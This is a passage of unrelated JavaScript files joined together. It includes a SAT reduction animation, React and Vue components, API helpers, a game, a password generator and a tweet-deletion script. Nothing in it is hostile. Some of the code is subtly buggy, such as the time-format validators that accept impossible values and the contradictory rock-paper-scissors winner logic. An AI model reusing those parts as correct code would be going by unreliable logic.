has a literal $\\overline{y_n}$ ($where \\ n \\in \\{j-1..k-3\\}$) " +" which evaluates to $True$",{left:0,top:210}); zlabels[23].addClass("truecolor"); zlabels[21].addClass("falsecolor"); zlabels[29].addClass("truecolor"); zlabels[27].addClass("falsecolor"); zlabels[36].addClass("truecolor"); zlabels[33].addClass("falsecolor"); av.step(); label8=av.label("<b>$Z_i$ has a satisfying assignment</b>" ,{left:0,top:270}); av.step(); for(var i in zlabels){ zlabels[i].removeClass("truecolor"); zlabels[i].removeClass("falsecolor"); zlabels[i].hide(); } label1.hide(); label3.hide(); label4.hide(); label5.hide(); label6.hide(); label7.hide(); label8.hide(); nl2.hide(); nl3.hide(); av.umsg("<br><b> Case 4a. When C<sub>i</sub> is satisfiable.</b>"); nl3=av.label("Hence when $C_i$ is satisfiable, "+ "$Z_i$ is satisfiable.",{top:40}); av.step(); nl3.hide(); nl2.show(); av.umsg("<br><b> Case 4b. When C<sub>i</sub> is not satisfiable.</b>"); for(var i in zlabels){ zlabels[i].show(); } av.step(); nl3=av.label("When $C_i$ is not satisfiable NO literal in { "+ "$l_i,1 \\cdots l_i,k$ } is $True$.",{top:70}); zlabels[1].addClass("falsecolor"); zlabels[7].addClass("falsecolor"); zlabels[13].addClass("falsecolor"); zlabels[19].addClass("falsecolor"); zlabels[25].addClass("falsecolor"); zlabels[31].addClass("falsecolor"); zlabels[38].addClass("falsecolor"); av.step(); nl4=av.label("For $Z_i$ to be satisfiable, all its clauses " +"must evaluate to $True$ ",{top:110}); av.step(); var nl5=av.label("For the first clause to be $True$, $y_1 = True$" ,{top:150}); zlabels[3].addClass("truecolor"); zlabels[5].addClass("falsecolor"); av.step(); var nl6=av.label("Now for the second clause to be $True$, $y_2 = True$" ,{top:190}); zlabels[9].addClass("truecolor"); av.step(); var nl7=av.label("Similarly for the third clause to be $True$, $y_3 = True$" ,{top:230}); av.step(); var nl8=av.label("$y_3 = True \\Rightarrow y_4 = True \\cdots \\Rightarrow y_{j-2}" +" = True \\Rightarrow y_{j-1} = True \\Rightarrow y_j = True \\cdots \\Rightarrow y_{k-4} " +"= True \\Rightarrow y_{k-3} = True$",{top:270}); zlabels[11].addClass("falsecolor"); zlabels[15].addClass("truecolor"); zlabels[17].addClass("falsecolor"); zlabels[21].addClass("truecolor"); zlabels[23].addClass("falsecolor"); zlabels[27].addClass("truecolor"); zlabels[29].addClass("falsecolor"); zlabels[33].addClass("truecolor"); zlabels[36].addClass("falsecolor"); av.step(); var nl9=av.label("The last clause evaluates to $False$. <b> Hence $Z_i$" +" is NOT SATISFIABLE</b>",{top:310}); av.step(); for(var i in zlabels){ zlabels[i].hide(); } nl1.hide(); nl2.hide(); nl3.hide(); nl4.hide(); nl5.hide(); nl6.hide(); nl7.hide(); nl8.hide(); nl9.hide(); av.umsg("<br><b>Case 4: Reduction of clauses containing more than three "+ "literals.</b>"); nl1=av.label("<b>Hence we proved:</b>" +"<br><br>a. When $C_i$ is satisfiable, $Z_i$ is " +"satisfiable<br><br>b. When $C_i$ is not satisfiable, $Z_i$ " +"is not satisfiable",{top:20}); av.step(); nl1.hide(); av.umsg("<br><b>Reduction of SAT to 3-SAT"); nl1=av.label("Hence any clause in a SAT expression can be replaced by a" +" conjunction of clauses which contains 3 literals each." +"<br><br><br><b>So, a SAT problem can be reduced to an instance of 3-SAT" +" in polynomial time.</b>",{top:20}); av.recorded(); });
export default { template: ` <div>Home</div> `, };
import React from 'react'; import Helmet from 'react-helmet'; import profileImg from '../images/profile_circle.png'; import './index.css'; function Section({ emoji, children, ...props }) { return ( <section {...props}> <h3>{emoji}</h3> <p>{children}</p> </section> ); } const IndexPage = () => ( <> <Helmet title="garrett fidalgo" meta={[ { name: 'description', content: 'Garrett Fidalgo' }, { name: 'keywords', content: 'Garrett, Fidalgo, stripe, software, engineer, developer, San Francisco, Oakland, github, twitter', }, ]} > <link href="https://fonts.googleapis.com/css?family=Nunito:400,600&display=swap" rel="stylesheet" /> </Helmet> <div className="container"> <header> <h1>garrett fidalgo</h1> <h2>oakland + sf</h2> </header> <div className="sections"> <Section emoji="👋"> hi, I'm garrett. I like to make things with computers. </Section> <Section emoji="👨‍💻"> I build tools for collaboration at{' '} <a href="https://notion.so">Notion</a>. prior to that I was building APIs and other products at <a href="https://stripe.com">Stripe</a>. </Section> <Section emoji="💡"> I enjoy working on public API design and engineering processes that help create better user experiences. </Section> <Section emoji="🏃‍♂️"> during the rest of my time, I also like to run, shoot photos, make pottery, and share music among other things. </Section> <Section emoji="📩"> don't be a stranger. drop a line at{' '} <a href="mailto:garrett@fidalgo.io">garrett@fidalgo.io</a>. you can also find me on <a href="https://github.com/garrettf">github</a> or{' '} <a href="https://www.linkedin.com/in/garrettfidalgo/">linkedin</a> if you need to. </Section> </div> </div> </> ); export default IndexPage;
const cardModule = { setBaseUrl: function (base_url) { cardModule.card_base_url = base_url + '/cards' }, showAddCardModal: function (event) { const addCardModal = document.getElementById('addCardModal'); addCardModal.classList.add('is-active'); const currentList = event.target.closest('.panel'); const listId = currentList.getAttribute('list-id'); const listIdField = addCardModal.querySelector('[name="list_id"]'); listIdField.value = listId; }, makeCardInDOM: function (card, list) { const cardTemplate = document.getElementById('template-card'); const cardTemplateContent = cardTemplate.content; const newCard = document.importNode(cardTemplateContent, true); const newCardContent = newCard.querySelector('.content'); newCardContent.textContent = card.content; const listContainer = document.querySelector('[list-id="' + list + '"] .panel-block'); console.log(`listContainer`, listContainer) if (card) { new Sortable(listContainer, {}); }; const form = newCard.querySelector('.f'); const blockCard = newCard.querySelector('.box'); blockCard.setAttribute('card-id', card.id); const idField = form.querySelector('input[name="id"]'); idField.value = card.id; const nameField = form.querySelector('input[name="content"]'); nameField.value = card.content; const colorField = form.querySelector('input[name="color"]'); colorField.value = card.color; const newCardContentPencil = newCard.querySelector('.i'); newCardContentPencil.addEventListener('click', function () { cardModule.handleCardTitleEdit(event) }); const cardPoubelle = newCard.querySelector('.poubelle'); cardPoubelle.addEventListener('click', async function (event) { event.preventDefault(); await cardModule.deletedCard(event) }); form.addEventListener('submit', async function (event) { event.preventDefault(); await cardModule.handleEditCardForm(event) }); const newCardBox = newCard.querySelector('.box'); newCardBox.style.backgroundColor = card.color; listContainer.append(newCard); }, handleAddCardForm: async function (event) { try { const formData = new FormData(event.target); let data = { content: formData.get('content'), list_id: formData.get('list_id'), color: formData.get('color') }; const response = await fetch(cardModule.card_base_url + '_add', { method: 'POST', body: formData }); const newCardOrError = await response.json(); if (response.status !== 200) { throw new Error(newCardOrError); } cardModule.makeCardInDOM(newCardOrError, formData.get('list_id')); } catch (error) { alert(app.defaultErrorMessage); console.error(error); } }, handleCardTitleEdit: function (event) { const box = event.target.closest('.box') const currentTitle = box.querySelector('.p') currentTitle.classList.add('is-hidden'); const form = box.querySelector('[method="POST"]'); form.classList.remove('is-hidden'); }, handleEditCardForm: async () => { try { const box = event.target.closest('.box'); const form2 = box.querySelector('.f'); const formData = new FormData(form2); const response = await fetch(`${cardModule.card_base_url}/${formData.get('id')}`, { method: 'PATCH', body: formData }); const newTagOrError = await response.json(); if (response.status !== 200) { throw Error(newTagOrError); } box.style.backgroundColor = newTagOrError.color; const currentTitle = box.querySelector('.p'); currentTitle.textContent = newTagOrError.content; currentTitle.classList.remove('is-hidden'); form2.classList.add('is-hidden'); } catch (error) { alert(app.defaultErrorMessage); console.error(error); } }, deletedCard: async function (event) { try { const box = event.target.closest('[card-id]'); const cardId = box.getAttribute('card-id'); const response = await fetch(`${cardModule.card_base_url}/delete/${cardId}`, { method: 'DELETE', }); box.remove(); if (response.status !== 200) { throw Error(newTagOrError); } } catch (error) { alert(app.defaultErrorMessage); console.error(error); } }, };
$(document).ready(function() { function elementSize(id){ $('#forresults').text('Width is: ' + $('#' + id).width() + ', Height is: ' + $('#' + id).height()); } elementSize('img_1'); }); // End of ready
function BBDataBuffer(){ this.arrayBuffer=null; this.length=0; } BBDataBuffer.tbuf=new ArrayBuffer(4); BBDataBuffer.tbytes=new Int8Array( BBDataBuffer.tbuf ); BBDataBuffer.tshorts=new Int16Array( BBDataBuffer.tbuf ); BBDataBuffer.tints=new Int32Array( BBDataBuffer.tbuf ); BBDataBuffer.tfloats=new Float32Array( BBDataBuffer.tbuf ); BBDataBuffer.prototype._Init=function( buffer ){ this.arrayBuffer=buffer; this.length=buffer.byteLength; this.bytes=new Int8Array( buffer ); this.shorts=new Int16Array( buffer,0,this.length/2 ); this.ints=new Int32Array( buffer,0,this.length/4 ); this.floats=new Float32Array( buffer,0,this.length/4 ); } BBDataBuffer.prototype._New=function( length ){ if( this.arrayBuffer ) return false; var buf=new ArrayBuffer( length ); if( !buf ) return false; this._Init( buf ); return true; } BBDataBuffer.prototype._Load=function( path ){ if( this.arrayBuffer ) return false; var buf=BBGame.Game().LoadData( path ); if( !buf ) return false; this._Init( buf ); return true; } BBDataBuffer.prototype._LoadAsync=function( path,thread ){ var buf=this; var xhr=new XMLHttpRequest(); xhr.open( "GET",BBGame.Game().PathToUrl( path ),true ); xhr.responseType="arraybuffer"; xhr.onload=function(e){ if( this.status==200 || this.status==0 ){ buf._Init( xhr.response ); thread.result=buf; } thread.running=false; } xhr.onerror=function(e){ thread.running=false; } xhr.send(); } BBDataBuffer.prototype.GetArrayBuffer=function(){ return this.arrayBuffer; } BBDataBuffer.prototype.Length=function(){ return this.length; } BBDataBuffer.prototype.Discard=function(){ if( this.arrayBuffer ){ this.arrayBuffer=null; this.length=0; } } BBDataBuffer.prototype.PokeByte=function( addr,value ){ this.bytes[addr]=value; } BBDataBuffer.prototype.PokeShort=function( addr,value ){ if( addr&1 ){ BBDataBuffer.tshorts[0]=value; this.bytes[addr]=BBDataBuffer.tbytes[0]; this.bytes[addr+1]=BBDataBuffer.tbytes[1]; return; } this.shorts[addr>>1]=value; } BBDataBuffer.prototype.PokeInt=function( addr,value ){ if( addr&3 ){ BBDataBuffer.tints[0]=value; this.bytes[addr]=BBDataBuffer.tbytes[0]; this.bytes[addr+1]=BBDataBuffer.tbytes[1]; this.bytes[addr+2]=BBDataBuffer.tbytes[2]; this.bytes[addr+3]=BBDataBuffer.tbytes[3]; return; } this.ints[addr>>2]=value; } BBDataBuffer.prototype.PokeFloat=function( addr,value ){ if( addr&3 ){ BBDataBuffer.tfloats[0]=value; this.bytes[addr]=BBDataBuffer.tbytes[0]; this.bytes[addr+1]=BBDataBuffer.tbytes[1]; this.bytes[addr+2]=BBDataBuffer.tbytes[2]; this.bytes[addr+3]=BBDataBuffer.tbytes[3]; return; } this.floats[addr>>2]=value; } BBDataBuffer.prototype.PeekByte=function( addr ){ return this.bytes[addr]; } BBDataBuffer.prototype.PeekShort=function( addr ){ if( addr&1 ){ BBDataBuffer.tbytes[0]=this.bytes[addr]; BBDataBuffer.tbytes[1]=this.bytes[addr+1]; return BBDataBuffer.tshorts[0]; } return this.shorts[addr>>1]; } BBDataBuffer.prototype.PeekInt=function( addr ){ if( addr&3 ){ BBDataBuffer.tbytes[0]=this.bytes[addr]; BBDataBuffer.tbytes[1]=this.bytes[addr+1]; BBDataBuffer.tbytes[2]=this.bytes[addr+2]; BBDataBuffer.tbytes[3]=this.bytes[addr+3]; return BBDataBuffer.tints[0]; } return this.ints[addr>>2]; } BBDataBuffer.prototype.PeekFloat=function( addr ){ if( addr&3 ){ BBDataBuffer.tbytes[0]=this.bytes[addr]; BBDataBuffer.tbytes[1]=this.bytes[addr+1]; BBDataBuffer.tbytes[2]=this.bytes[addr+2]; BBDataBuffer.tbytes[3]=this.bytes[addr+3]; return BBDataBuffer.tfloats[0]; } return this.floats[addr>>2]; }
var NavMenu = React.createClass({ getInitialState: function() { return {focused: 0}; }, clicked: function(index) { this.setState({focused: index}) }, render: function() { return ( <div> <ul> {this.props.items.map(function(m, index){ var style = ''; if(this.state.focused == index) { style = 'focused' } return <li key={m} className={style} onClick={this.clicked.bind(this, index)}> {m} </li>; }.bind(this)) } </ul> <p>Selected: {this.props.items[this.state.focused]} </p> </div> ); } }); React.render( <NavMenu items={ ["Home", "Services", "About", "Contact Us"] } />, document.body );
import axios from 'axios' import * as hp from 'helper-js' import * as ut from '@/plugins/utils' import * as httpUtils from '@/plugins/httpUtils' import store from '@/store' let axiosInstance export default { install(Vue) { axiosInstance = axios.create({ baseURL: store.state.api, timeout: 20000, // 20 seconds withCredentials: false, // use token auth }) ut.injectDependency('http', axios) ut.injectDependency('api', axiosInstance) // Add a response interceptor axiosInstance.interceptors.response.use((response) => { // Do something with response data const data = handleResponse(response) return data }, (error) => { // Do something with response error this.onError && this.onError(error) return handleResponse(error.response, error); }) function handleResponse(response, error) { let {data} = response || {} const {config} = error || response if (data && !config.disableResponseDataTransform) { data = httpUtils.resolveResponseData(data) } const pureData = data if (error && !error.response && error.message.match(/^timeout of \d+ms exceeded$/)) { doAlert('Request timed out') config.finally && config.finally(error) return Promise.reject(error) } if (error) { const msg = httpUtils.resolveErrorHttpMessage(data, response, error) // show sign in dialog when get 401 if (response.status === 401) { store.state.authenticated = false store.state.user = {} store.state.app.$router.push({name: 'login'}) } doAlert(msg) config.finally && config.finally(pureData, error || data) return Promise.reject(error || data, pureData) } else { config.finally && config.finally(pureData) return pureData } // default alert method is notify function doAlert(msg) { let canAlert = true if (error && error.config.hasOwnProperty('alert')) { canAlert = error.config.alert } if (canAlert) { if (canAlert === 'alert') { Vue.alert(msg) } else { Vue.notifyError(msg) } } } } // don't use request interceptor to pretreat request data, because request data has been converted to string then. // override methods to pretreat request data // 不使用请求拦截器预处理请求数据, 因为那时请求数据已被转换成字符串 // 重写方法来预处理数据 ['post', 'put', 'patch'].forEach(name => { const old = axiosInstance[name] if (!old) { return } axiosInstance[name] = function (url, data, ...args) { return old.call(this, url, httpUtils.resolveRequestData(data), ...args) } }) } } export function getAxiosInstance() { return axiosInstance }
import request from 'axios' import * as workspaceApi from '@/api/workspaceApi' export default workspaceApi /** * 当前用户有权限的工作空间 * * @param param * @returns {Promise<AxiosResponse<T>>} */ export function workspaceList(param) { return request.post("/workspace/list", param); } /** * 当前用户的工作空间 * * @returns {Promise<AxiosResponse<T>>} */ export function currentWorkspace() { return request.post("/workspace/currentWorkspace"); } /** * 切换工作空间 * * @param newWorkspaceId * @returns {Promise<AxiosResponse<T>>} */ export function changeWorkspace(newWorkspaceId) { return request.post("/workspace/change", { "id": newWorkspaceId }); }
document.addEventListener('DOMContentLoaded',()=>{ const rock_div = document.getElementById("r") const paper_div = document.getElementById("p") const sci_div = document.getElementById("s") const computer_score = document.getElementById("computer-score") const user_score = document.getElementById("player-score") const result_div = document.getElementById("result") const list = {"r" : "rock", "p" : "paper" , "s" : "scissors" } getComputerChoice = () => { const choices = ["r","p","s"] id = Math.floor(Math.random()*3) return choices[id] } getWinner = (x,y) => { if (x=="r" && y == "p"){ return [0,1] } if (y=="r" && x == "p"){ return [1,0] } if (x=="r" && y == "r"){ return [0,0] } if (x=="r" && y == "s"){ return [1,0] } if (y=="r" && x == "s"){ return [0,1] } if (x=="s" && y == "s"){ return [0,0] } if (x=="s" && y == "r"){ return [0,1] } if (y=="s" && x == "r"){ return [1,0] } if (x=="s" && y == "p"){ return [1,0] } if (y=="s" && x == "p"){ return [0,1] } if (x=="p" && y == "p"){ return [0,0] } } updateScore = x => { [u,c] = x computer_score.textContent = parseFloat(computer_score.textContent) + c user_score.textContent = parseFloat(user_score.textContent) + u } updateText = s => { result_div.textContent = s } updateByID = id => { const c = getComputerChoice() const result = getWinner(id,c) updateScore(result) updateText(`Clicked on ${list[id]}, Computer picked ${list[c]}`) } rock_div.addEventListener('click', () => { updateByID("r") } ) paper_div.addEventListener('click', () => { updateByID("p") } ) sci_div.addEventListener('click', () => { updateByID("s") } ) })
'use strict'; app.controller('sliderController', ['$scope', 'priceCalculatorService', function ($scope, priceCalculatorService) { $scope.iPaperSlider = { value: 1, options: { floor: 1, ceil: 25 } } $scope.visitorsSlider = { value: 0, options: { min: 0, floor: 0, ceil: 100000, step: 1000 } } $scope.$watchCollection('[iPaperSlider.value, visitorsSlider.value]', function (newVal, oldVal) { $scope.cataloguePrice = priceCalculatorService.CalculateIPaperPrice(newVal[0], oldVal[0]) + priceCalculatorService.CalculateExtraVisitorsPrice(newVal[1], oldVal[1]); }); } ]);
import React, { Component } from 'react' import { connect } from 'react-redux'; import { checkEmailVerUrl } from '../../actions/auth'; import { Link } from 'react-router-dom'; import NotFound from '../not-found/NotFound'; class EmailVerification extends Component { constructor(props) { super(props) this.state = { errors: {}, } } componentDidMount() { const { id, token } = this.props.match.params; this.props.checkEmailVerUrl({ id, token }); } static getDerivedStateFromProps = (nextProps) => { if(nextProps.errors) { return { errors: nextProps.errors }; } return null; }; render() { const { errors } = this.state; const { auth: { isAuthenticated }} = this.props; if (errors.error) { return <NotFound error={errors} /> } return ( <div> <h1 className="display-4">Email Verified</h1> <p>Your email is verified. You can use all feature available in DevService. Enjoy!</p> {!isAuthenticated && <div>Now you can <Link to='/login'>login</Link>.</div>} </div> ); } } const mapStateFromProps = ({ errors, auth }) => ({ errors, auth }); export default connect(mapStateFromProps, { checkEmailVerUrl })(EmailVerification);
var inputs = {}; var cache = {}; var browser = {}; var context = { running : 0, key : null }; var pp_timer = { set : false, set_at : 0, wiggle_room : 30, // don't sweat about 30 s in either direction timeout : 60*5 // timeout a PW in 5 minutes } function unix_time () { return Math.floor ((new Date ()).getTime() / 1000); } var display_prefs = {}; function key_data (data) { var tmp = [ data.email, data.passphrase, data.host, data.generation, data.secbits ]; var key = tmp.join(";"); data.key = key; } function $(n) { return document.getElementById(n); } function toggle_computing() { $('result-need-input').style.visibility = "hidden"; $('result-computing').style.visibility = "visible"; $('result-computed').style.visibility = "hidden"; $('select').style.visibility = "hidden"; } function toggle_computed () { $('result-need-input').style.visibility = "hidden"; $('result-computed').style.visibility = "visible"; $('select').style.visibility = "visible"; $('result-computing').style.visibility = "hidden"; } function fnDeSelect() { if (document.selection) { document.selection.empty(); } else if (window.getSelection) { window.getSelection().removeAllRanges(); } } function fnSelect(obj) { fnDeSelect(); var range; if (browser.mobsafari) { obj.focus(); obj.setSelectionRange(0,16); } else if (document.selection) { range = document.body.createTextRange(); range.moveToElementText(obj); range.select(); } else if (window.getSelection) { range = document.createRange(); range.selectNode(obj); window.getSelection().addRange(range); } } function get_url_params() { var urlParams = {}; var match, pl = /\+/g, // Regex for replacing addition symbol with a space search = /([^&=]+)=?([^&]*)/g, decode = function (s) { return decodeURIComponent(s.replace(pl, " ")); }, query = window.location.hash.substring(1); while ((match = search.exec(query))) { urlParams[decode(match[1])] = decode(match[2]); } return urlParams; } function select_pw (event) { var e = $("generated_pw").firstChild; fnSelect(e); } function format_pw (input) { var ret = input.slice(0, display_prefs.length); ret = add_syms (ret, display_prefs.nsym); return ret; } function finish_compute (obj) { obj.computing = false; context.key = null; toggle_computed(); var e = $("generated_pw").firstChild; e.nodeValue = format_pw (obj.generated_pw); } function display_computing (val) { var e = $("computing").firstChild; e.nodeValue = "computing.... " + val; } function do_compute_loop (key, obj) { var my_obj = obj; var iters = 10; if (key != context.key) { /* bail out, we've changed to a different computation ... */ } else if (pwgen(obj, iters, context)) { finish_compute (obj); } else { display_computing(obj.iter); /* don't block the browser */ setTimeout (function () { do_compute_loop (key, my_obj); }, 0); } } function do_compute (data) { toggle_computing(); var key = data.key; var co = cache[key]; if (!co) { cache[key] = data; co = data; } if (co.generated_pw) { finish_compute (co); } else if (!co.computing) { context.key = key; co.computing = true; co.iter = 0; display_computing(""); setTimeout(function() { do_compute_loop (key, co); }, 500); } } function trim (w) { var rxx = /^(\s*)(.*?)(\s*)$/; var m = w.match (rxx); return m[2]; } function clean_host (h) { return trim(h).toLowerCase(); } function clean_email (em) { return trim(em).toLowerCase(); } function clean_passphrase (pp) { var tmp = trim(pp); // Replace any interior whitespace with just a single // plain space, but otherwise, interior whitespaces // count as part of the passphrase. return tmp.replace(/\s+/g, " "); } function pp_set_timer () { var now = unix_time(); if (!pp_timer.set || (now - pp_timer.set_at) > pp_timer.wiggle_room) { pp_timer.set = true; pp_timer.set_at = now; setTimeout(pp_timer_event, pp_timer.timeout*1000); } } function pp_timer_event () { var now = unix_time(); if (pp_timer.set && (now - pp_timer.set_at) >= pp_timer.timeout) { $("passphrase").value = ""; cache = {}; pp_timer.set = false; pp_timer.set_at = 0; } } function pp_input (event) { pp_set_timer(); swizzle(event); } function swizzle (event) { var se = event.srcElement; if (se.value.length > 0) { inputs[se.id] = 1; } var email, passphrase, host; if (inputs.passphrase && inputs.host && inputs.email) { email = clean_email ( $("email").value ) passphrase = clean_passphrase ( $("passphrase").value ) host = clean_host ( $("host").value ); } if (passphrase && passphrase.length && host && host.length && email && email.length) { var data = { "email" : email, "host" : host, "passphrase" : passphrase }; var fields = [ "generation", "secbits" ]; var i, f, v; for (i = 0; i < fields.length; i++) { f = fields[i]; v = $(f).value; data[f] = v; } display_prefs.length = $("length").value; display_prefs.nsym = $("nsym").value; // Key the data, so that we can look it up in a hash-table. key_data (data); do_compute(data); } return 0; } function ungray(element) { element.className += " input-black"; } function acceptFocus (event) { var se = event.srcElement; if (!se.className.match("input-black")) { ungray(se); se.value = ""; } } function prepopulate() { var p = get_url_params(); if (typeof(p.email) != "undefined" && p.email.length > 0) { var e = $("email"); ungray(e); e.value = p.email; inputs.email = 1; } } function domobiles() { var mobsafari = (/iphone|ipad|ipod/i.test(navigator.userAgent.toLowerCase())); var mobile =(/android|blackberry/i.test(navigator.userAgent.toLowerCase())); if (mobsafari) { browser.mobsafari = true; $('email').type = "email"; } } function doExpand(event) { $('expander').style.display = "none"; $('advanced').style.display = "inline"; } function doCollapse(event) { $('expander').style.display = "inline"; $('advanced').style.display = "none"; }
const twit = require('twit') const fs = require('fs') require('dotenv').config() const T = new twit({ consumer_key: process.env.API_KEY, consumer_secret: process.env.API_SECRET_KEY, access_token: process.env.ACCESS_TOKEN, access_token_secret: process.env.ACCESS_TOKEN_SECRET }) const max_id = 1031582835545710592 T.get('statuses/user_timeline', { user_id: process.env.USER_ID, max_id: max_id, exclude_replies: false, count: 200 }, (err, data, res) => { if (err) throw err data.forEach(tweet => { T.post('statuses/destroy/:id', { id: tweet.id_str }, (err, data, res) => { if (err) throw err const stringData = JSON.stringify(data, null, '\t') fs.appendFile('files/data.json', stringData, (err) => { if (err) throw err console.log(`Deleted tweet id ${tweet.id_str} written to data.json`) }) }) }) })
import React, { Component } from 'react'; // import {BrowserRouter, NavLink, Route, Switch,} from 'react-router-dom'; import Login from './components/login/Login'; import ListAnimal from './components/animal/ListAnimal'; import {connect} from 'react-redux'; import './App.css' // import { checkAuthenAction } from './redux/action'; import * as actions from './redux/action'; class App extends Component { constructor(props) { super(props); } checkAuthenAction = () => { if (localStorage.getItem('user')) { let dataToken = localStorage.getItem('user').split('.')[1]; let dateEpx = -1; dataToken && (dateEpx = JSON.parse(atob(dataToken)).exp*1000 - Date.now()); dateEpx > 0 ? this.props.isAuthenAction(localStorage.getItem('user')) : localStorage.removeItem('user'); } else this.props.noAuthenAction(); }; componentDidMount() { this.checkAuthenAction(); } render() { return this.props.isAuthen? <ListAnimal/>:<Login/> // <div className="App"> // <BrowserRouter> // <div className="header"> // {/* <NavLink exact activeClassName="active" to="/">Home</NavLink> */} // <NavLink exact activeClassName="active" to="/">Login</NavLink> // <NavLink activeClassName="active" to="/animal">Animal</NavLink> // </div> // <div className="content"> // <Switch> // {/* <Route exact path="/" component={Home}/> */} // <Route exact path="/" component={Login}/> // <Route exact path="/animal" component={ListAnimal}/> // </Switch> // </div> // </BrowserRouter> // </div> } } const mapStateToProps = (state) => { return { isAuthen: state?.authen } } const mapDispatchToProps = (dispatch,props) => { return { isAuthenAction: (token) => { dispatch(actions.isAuthenAction(token)) }, noAuthenAction: () => { dispatch(actions.noAuthenAction()) } } } export default connect(mapStateToProps,mapDispatchToProps)(App);
var descripItems = [ {//權限問題:我把 hidden: true, 改成hidden: false, xtype: 'displayfield', fieldLabel: CONTENT_1, hidden: false, id: 'page_content_1', name: 'page_content_1', colName: 'page_content_1', editable: false, style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'displayfield', fieldLabel: CONTENT_2, editable: false, hidden: false, colName: 'page_content_2', id: 'page_content_2', name: 'page_content_2', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'displayfield', fieldLabel: CONTENT_3, editable: false, colName: 'page_content_3', hidden: false, id: 'page_content_3', name: 'page_content_3', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'displayfield', width: 240, fieldLabel: BUY_LIMIT, hidden: false, colName: 'product_buy_limit', id: 'product_buy_limit', name: 'product_buy_limit', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'displayfield', fieldLabel: KEYWORDS, hidden: false, colName: 'product_keywords', id: 'product_keywords', name: 'product_keywords', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'checkboxgroup', fieldLabel: TAG, height: 40, colName: 'product_tag_set', hidden: false, id: 'product_tag_set', name: 'product_tag_set', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } }, { xtype: 'checkboxgroup', fieldLabel: NOTICE, colName: 'product_notice_set', hidden: false, id: 'product_notice_set', name: 'product_notice_set', style: { borderBottom: '1px solid #ced9e7', paddingTop: '5px' } } ]
export const openRoamProtocol = (nodeId) => { if (!nodeId) { return } let url = `org-protocol://roam-node?node=${nodeId}` window.open(url, "_self") }
export default { rules: function (field_en, data_type) { var obj = {}; field_en.forEach(function (field,index) { if (data_type[index] == "text") { obj[field] = [ { validator: function (rule, value, callback) { if (/['|"]+/.test(value)) { return callback(new Error('输入的文本不能包含英文单引号或双引号')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "textarea") { obj[field] = [ { validator: function (rule, value, callback) { if (/['|"]+/.test(value)) { return callback(new Error('输入的文本不能包含英文单引号或双引号')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "int") { obj[field] = [ { validator: function (rule, value, callback) { if(value){ if (! /^[1-9][0-9]*$/.test(value)) { return callback(new Error('请输入正整数')); } } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "int(6)") { obj[field] = [ { validator: function (rule, value, callback) { if(value){ if (! /^[1-9][0-9]{5}$/.test(value)) { return callback(new Error('请输入6位正整数')); } } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "decimal(2)") { obj[field] = [ { validator: function (rule, value, callback) { if(value){ if (! /^[1-9]*[0]?\.[0-9]{2}$/.test(value)) { return callback(new Error('请保留2位小数')); } } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "decimal(4)") { obj[field] = [ { validator: function (rule, value, callback) { if(value){ if (! /^[1-9]*[0]?\.[0-9]{4}$/.test(value)) { return callback(new Error('请保留4位小数')); } } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "date(yyyy-MM-dd HH:mm:ss)") { obj[field] = [ { validator: function (rule, value, callback) { if (! /^[0-9]{4}-[0-9]{2}-[0-9]{2}[ ][0-6]{2}:[0-6]{2}:[0-6]{2}$/.test(value)) { return callback(new Error('请输入正确格式')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "date(YYYY)") { obj[field] = [ { validator: function (rule, value, callback) { if (! /^[0-9]{4}$/.test(value)) { return callback(new Error('请输入正确格式')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "date(YYYY-MM)") { obj[field] = [ { validator: function (rule, value, callback) { if (! /^[0-9]{4}-[0-9]{2}$/.test(value)) { return callback(new Error('请输入正确格式')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "date(yyyy-MM-dd)") { obj[field] = [ { validator: function (rule, value, callback) { if (! /^[0-9]{4}-[0-9]{2}-[0-9]{2}$/.test(value)) { return callback(new Error('请输入正确格式')); } callback(); }, trigger: 'blur' } ] } else if (data_type[index] == "date(HH:mm:ss)") { obj[field] = [ { validator: function (rule, value, callback) { if (! /^[0-6]{2}:[0-6]{2}:[0-6]{2}$/.test(value)) { return callback(new Error('请输入正确格式')); } callback(); }, trigger: 'blur' } ] } }); obj["username"] = [ { required: true, message: '请输入用户名', trigger: 'blur' }, { validator: function (rule, value, callback) { if (! /[(\w)]{1,30}/.test(value)) { return callback(new Error('用户名必须是字母或数字或下划线组合')); } callback(); }, trigger: 'blur' } ]; obj["password"] = [ { required: true, message: '请输入密码', trigger: 'blur' }, { validator: function (rule, value, callback) { if (! /[(\w)]{6,30}/.test(value)) { return callback(new Error('密码必须是字母或数字或下划线组合且长度>=6')); } callback(); }, trigger: 'blur' } ]; obj["email"] = [ { required: true, message: '请输入邮箱', trigger: 'blur' }, { validator: function (rule, value, callback) { if (! /^([a-zA-Z]|[0-9])(\w|\-)+@[a-zA-Z0-9]+\.([a-zA-Z]{2,4})$/.test(value)) { return callback(new Error('邮箱格式错误')); } callback(); }, trigger: 'blur' } ]; return obj; } }
/** * Copyright(c) 2012-2016 weizoom */ "use strict"; var debug = require('debug')('m:outline.datas:Action'); var _ = require('underscore'); var Reactman = require('reactman'); var Dispatcher = Reactman.Dispatcher; var Resource = Reactman.Resource; var Constant = require('./Constant'); var Action = { }; module.exports = Action;
